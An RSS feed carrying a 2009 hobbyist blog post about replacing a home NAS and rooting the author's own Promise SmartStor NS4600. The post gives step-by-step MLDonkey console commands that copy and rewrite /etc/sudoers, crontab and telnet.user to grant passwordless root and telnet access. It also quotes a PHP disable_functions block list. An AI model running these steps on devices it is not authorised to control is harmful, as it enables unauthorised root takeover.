<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Savory Ape &#187; Promise</title>
	<atom:link href="http://savoryape.com/tag/promise/feed/" rel="self" type="application/rss+xml" />
	<link>http://savoryape.com</link>
	<description>Progressive Internet Solutions</description>
	<lastBuildDate>Tue, 20 Dec 2011 06:46:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3</generator>
		<item>
		<title>NASaga (or, &#8220;Pwn&#8217;g the Promise SmartStor 4600&#8243;)</title>
		<link>http://savoryape.com/2009/10/nasaga-or-pwng-the-promise-smartstor-4600/</link>
		<comments>http://savoryape.com/2009/10/nasaga-or-pwng-the-promise-smartstor-4600/#comments</comments>
		<pubDate>Thu, 22 Oct 2009 06:22:23 +0000</pubDate>
		<dc:creator>chrishota</dc:creator>
				<category><![CDATA[Projects]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[MLDonkey]]></category>
		<category><![CDATA[Promise]]></category>
		<category><![CDATA[root]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[SmartStor]]></category>
		<category><![CDATA[telnet]]></category>

		<guid isPermaLink="false">http://savoryape.com/?p=101</guid>
		<description><![CDATA[My roommates and I live the networked lifestyle, primarily when it comes to entertainment. In the house there is a PS3 and an XBOX 360. I don&#8217;t usually play games, so I use the XBOX for streaming NetFlix movies and the PS3 for streaming video and music from the house server. All of the entertainment [...]]]></description>
			<content:encoded><![CDATA[<p>My roommates and I live the networked lifestyle, primarily when it comes to entertainment. In the house there is a PS3 and an XBOX 360. I don&#8217;t usually play games, so I use the XBOX for streaming NetFlix movies and the PS3 for streaming video and music from the house server. All of the entertainment systems (TiVo, PS3, XBOX, server) are on their own dedicated network segment with a Dell PowerConnect 8-port Gigabit switch, snagged for a bargain during one of their end-of-fiscal-in-January sales.</p>
<p>When CompUSA was slowly dying, my friend Chris Heien and I kept waiting for the right moment to swoop in at the sweet spot between value and desperation to acquire the HP MediaVault m2040: a 2-bay Network Attached Storage (NAS) device. NAS devices sit on your network and act as a file server. Since our house network runs to every room (via LinkSys Ethernet-over-Power adaptors and 802.11n/g clouds), a home server was essential for sharing large files between roommates and devices.</p>
<p><span id="more-101"></span></p>
<p>The HP MediaVault m2040 came with a 500 GB drive, to which I added another 500 GB. With some partitions in RAID, the usable space was about 0.8 TB. This was a very decent NAS (especially for the price) when I purchased it. It was &#8220;hackable&#8221; with a good-sized developer community (led by <a href="http://k0lee.com/hpmediavault/">one of the original MediaVault engineers</a>), and most importantly, it included a Digital Living Network Alliance certification; meaning it could stream music and video to media players on the network (like the PS3 or even Windows Media Player on Vista).</p>
<p>When I made the purchase, I knew eventually that the day would come when it would not be enough. Unfortunately, the honeymood was over quicker than anticipated. The design flaws of the first-generation MediaVault are sizable:</p>
<ul>
<li>Due to un-expandable RAM configuration, and the fact that the native partitioning scheme was ReiserFS, the MediaVault can only hold a file allocation table map for about 1.25 TB. Meaning, even if I put two 2TB drives in, it would still only recognize 1.25TB instead of 4TB.</li>
<li>Due to an underwhelming (300 MHz MIPS) processor, the Gigabit ethernet connection performed very poorly; actually a little worse than Fast Ethernet (100 MB/sec).</li>
<li>Also due to the processor type (MIPS), the number of ipkg packages (basically server plugins) was low, and it was hard to make new ones.</li>
<li>Although expandable by using USB hard drives as additional storage, it would never power-down these drives, burning them out much quicker (and being very loud, constantly, when connected).</li>
<li>Because of the slow networking, the PS3 would randomly display a network error while streaming video. Of my complaints, this is the one I hate most because this is the one I had to see every time I tried to enjoy some video!</li>
</ul>
<p>I recently was able to save up some money with the intent of purchasing a new NAS. About three weeks ago, I took the plunge and ordered from NewEgg:</p>
<ul>
<li><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16822328003">Promise SmartStor NS4600 NAS</a></li>
<li><a href="http://www.newegg.com/Product/Product.aspx?Item=N82E16822145276">HITACHI Deskstar HD32000 IDK/7K 2TB 7200 RPM SATA 3.0Gb/s 3.5&#8243; Internal Hard Drive (Retail Edition)</a></li>
</ul>
<p>This, in short, is a great system. The SmartStor4600 uses less power and has more available drive bays (four) than the MediaVault. It runs quieter, with a variable-speed fan, and it addresses all of my concerns with the MediaVault:</p>
<ul>
<li>No hard limit on capacity. I&#8217;m using a fast (but not super-fast) 2TB drive in one slot, which is more than twice the capacity of the MediaVault.</li>
<li>&#8220;The snozberries taste like snozberries,&#8221; and the Gigabit performs like Gigabit!</li>
<li>It&#8217;s expandable via an official plugin system (currently running a &#8220;Downloader&#8221; engine (explained later), iTunes streaming server, and the—most essential—DLNA server). I&#8217;ve actually written the SmartStor project manager in regards to maybe getting a software development kit. I would like to write a plugin for downloading files from Usenet using NZB files. We&#8217;ll see where that goes.</li>
<li>Spin-down of USB drives is (supposedly) supported (haven&#8217;t had a chance to check this one out).</li>
<li>No errors while streaming HD video to the PS3!</li>
</ul>
<p>I am in home-entertainment Nirvana.</p>
<p>But I like to fully explore my devices; so recently I&#8217;ve been looking for a way to get into the device from a lower level. A port scan revealed telnet running on port 2380, prompting for a password. My experience with NAS devices is that they are usually running an embedded-level Linux called BusyBox, with as few user accounts as possible. This means that most processes are probably running as root.</p>
<p>I started with the built-in web server, which is advertised for being suitable for running your small office intranet. They seem to have thought of this, because even though the lighttpd web service provides a php installation, it has been hardened with the following in the PHP configuration file (php.ini):</p>
<pre>disable_functions = phpinfo,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source</pre>
<p>This prevents writing a simple php one-liner to reset the root password.</p>
<p>Luckily, there is an easily-exploitable security hole in the NS4600. It is the same hole that was in the predecessor product, the NS4300. Namely, <em>the built-in &#8220;Downloader&#8221; plugin (a customized version of <a href="http://mldonkey.sourceforge.net/">MLDonkey</a>) can be cajoled to run shell commands on behalf of the root user</em>. It&#8217;s actually pretty easy, thanks to work done on the previous model by <a href="http://facebook.com/xfyre">Ilya Obshadko</a>.</p>
<ol>
<li>Update to the latest firmware.</li>
<li>In the Promise Advanced Storage Manager (http://smartstor/admin/), navigate to &#8220;File &amp; Print&#8221; then &#8220;Application Plugins.&#8221;</li>
<li>Click the &#8220;Enable&#8221; button on the line for &#8220;BT Server.&#8221;</li>
<li>Navigate to http://smartstor:4080/ to access the MLDonkey web interface. It should say &#8220;Welcome to MLDonkey 2.9.1&#8243; in the bottom pane, and have a toolbar pane at the top of the screen.</li>
<li>In the top toolbar pane, enter the following commands and press Enter, one at a time:
<ol>
<li>set allow_any_command true</li>
<li>! /bin/cp /etc/crontab /VOLUME1/PUBLIC/crontab</li>
<li>! /bin/cp /etc/sudoers /VOLUME1/PUBLIC/sudoers</li>
<li>! /bin/cp /etc/telnet.user /VOLUME1/PUBLIC/telnet.user</li>
<li>! /bin/chmod 777 /VOLUME1/PUBLIC/crontab</li>
<li>! /bin/chmod 777 /VOLUME1/PUBLIC/sudoers</li>
<li>! /bin/chmod 777 /VOLUME1/PUBLIC/telnet.user</li>
<li>! /bin/echo &#8216;admin ALL=(ALL) NOPASSWD: ALL&#8217; &gt;&gt; /VOLUME1/PUBLIC/sudoers</li>
<li>! /bin/echo &#8216;admin&#8217; &gt;&gt; /VOLUME1/PUBLIC/telnet.user</li>
</ol>
</li>
<li>Then connect to your SmartStor&#8217;s PUBLIC share, and edit the crontab file, removing the line that contains &#8220;chkhttpd&#8221; in it. (This could probably be made into a awk/sed one-liner, but my regex-fu is not that strong).</li>
<li>Returning to the MLDonkey interface, input the following commands to copy the newly-edited config files back to the system locations, overwriting the originals:
<ol>
<li>! /bin/cp /VOLUME1/PUBLIC/crontab /etc/</li>
<li>! /bin/cp /VOLUME1/PUBLIC/sudoers /etc/</li>
<li>! /bin/cp /VOLUME1/PUBLIC/telnet.user /etc/</li>
</ol>
</li>
<li>Fire up trusty old telnet with &#8220;telnet smartstor 2380&#8243; at a terminal, wait a few moments, press enter (it&#8217;s asking for the root password, which we don&#8217;t know—it&#8217;s set at the factory, in the firmware), then type in &#8220;admin&#8221; for the username, and whatever password you use for your admin account (&#8220;admin&#8221; by default).</li>
<li>You should now have a nice shell prompt. Issue &#8220;sudo passwd root&#8221;, then type a new root password a couple of times—and ta-da!—you&#8217;re in like Flynn! Just exit your shell and reconnect as root.</li>
</ol>
<p>The only bad part about this is that step 7 must be done each time the device reboots, because the crontab is regenerated from firmware on boot. Ilya has written <a href="http://xfyre.com/en/node/94">an application plugin for auto-enabling telnet access</a>. Unfortunately, the plugin format is different between the NS4300 and NS4600, so it doesn&#8217;t work for me.</p>
<p>By having superuser access to the device secured, I can now work on extending it to do more.</p>
]]></content:encoded>
			<wfw:commentRss>http://savoryape.com/2009/10/nasaga-or-pwng-the-promise-smartstor-4600/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

